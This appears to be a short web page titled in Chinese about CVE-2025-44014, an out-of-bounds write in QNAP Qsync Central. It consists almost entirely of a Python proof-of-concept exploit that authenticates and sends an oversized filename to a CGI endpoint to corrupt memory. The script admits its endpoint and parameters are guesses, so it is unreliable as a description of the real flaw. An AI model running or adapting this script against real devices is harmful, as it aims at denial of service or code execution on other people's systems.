CVE-2025-44014：QNAP Qsync Central越界写入漏洞

# CVE-2025-44014 - QNAP Qsync Central Out-of-Bounds Write PoC # This is a conceptual PoC demonstrating the exploitation approach. # The actual vulnerable endpoint and parameters would need to be identified # through reverse engineering of the Qsync Central application. import requests import struct TARGET_HOST = "https://target-qsync-host:port" USERNAME = "attacker_user" PASSWORD = "attacker_password" def authenticate(session, host, username, password): """Authenticate to Qsync Central with valid credentials.""" login_url = f"{host}/cgi-bin/login.cgi" payload = { "username": username, "password": password } response = session.post(login_url, data=payload, verify=False) if response.status_code == 200: print("[+] Authentication successful") return response def trigger_oob_write(session, host): """ Trigger the out-of-bounds write vulnerability. The vulnerable function likely fails to validate the length of user-supplied data before writing it into a fixed-size buffer. """ # Example: a sync operation endpoint that processes file metadata # The attacker supplies an overly long filename or path to overflow the buffer vulnerable_endpoint = f"{host}/cgi-bin/sync_operation.cgi" # Craft a payload that exceeds the expected buffer size # Adjust the overflow size based on the target buffer length overflow_size = 4096 overflow_data = "A" * overflow_size payload = { "action": "upload_file", "filename": overflow_data, # Oversized filename triggers OOB write "path": "/", "data": "malicious_content" } headers = { "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } response = session.post(vulnerable_endpoint, data=payload, headers=headers, verify=False) print(f"[*] Response status: {response.status_code}") return response def main(): session = requests.Session() # Step 1: Authenticate with valid credentials auth_response = authenticate(session, TARGET_HOST, USERNAME, PASSWORD) # Step 2: Trigger the out-of-bounds write trigger_oob_write(session, TARGET_HOST) # Note: Successful exploitation may result in: # - Application crash (DoS) # - Memory corruption leading to arbitrary code execution # - Privilege escalation within the Qsync Central service if __name__ == "__main__": main()